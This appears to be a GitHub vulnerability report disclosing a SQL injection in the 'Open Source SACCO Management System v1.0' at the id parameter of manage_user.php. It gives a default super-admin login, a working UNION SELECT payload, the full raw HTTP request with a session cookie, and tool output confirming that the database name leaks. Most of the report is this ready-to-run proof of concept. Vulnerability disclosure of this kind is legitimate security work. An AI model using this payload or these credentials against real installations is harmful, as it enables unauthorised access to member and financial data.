

main

...

bug_report / vendors / mayuri_k / open-source-sacco-management-system / SQLi-2.md



coues Create SQLi-2.md

History

1 contributor

31 lines (21 sloc) | 1.11 KB

...

Open Source SACCO Management System v1.0 by mayuri_k has SQL injection

BUG_Author: kingcoues

Login account: mayuri.infospace@gmail.com/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15372/open-source-sacco-management-system-free-download.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /sacco_shield/manage_user.php

Vulnerability location: /sacco_shield/manage_user.php?id=, id

dbname = sacco,length=5

[+] Payload: /sacco_shield/manage_user.php?

id=-1%20union%20select%201,2,database(),4,5,6,7,8--+ // Leak place ---> id

GET /sacco_shield/manage_user.php?id=-1%20union%20select%201,2,database(),4,5,6,7,8-

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=5g4g4dffu1bkr9jm7nr42ori2

Connection: close

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING

Load URL

Split URL

Execute

http://192.168.1.88/sacco_shield/manage_user.php?id=-1 union select 1,2,database(),4,5,6,7,8--+|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert

Name

sacco

Username

6

Password

•

User Type

Admin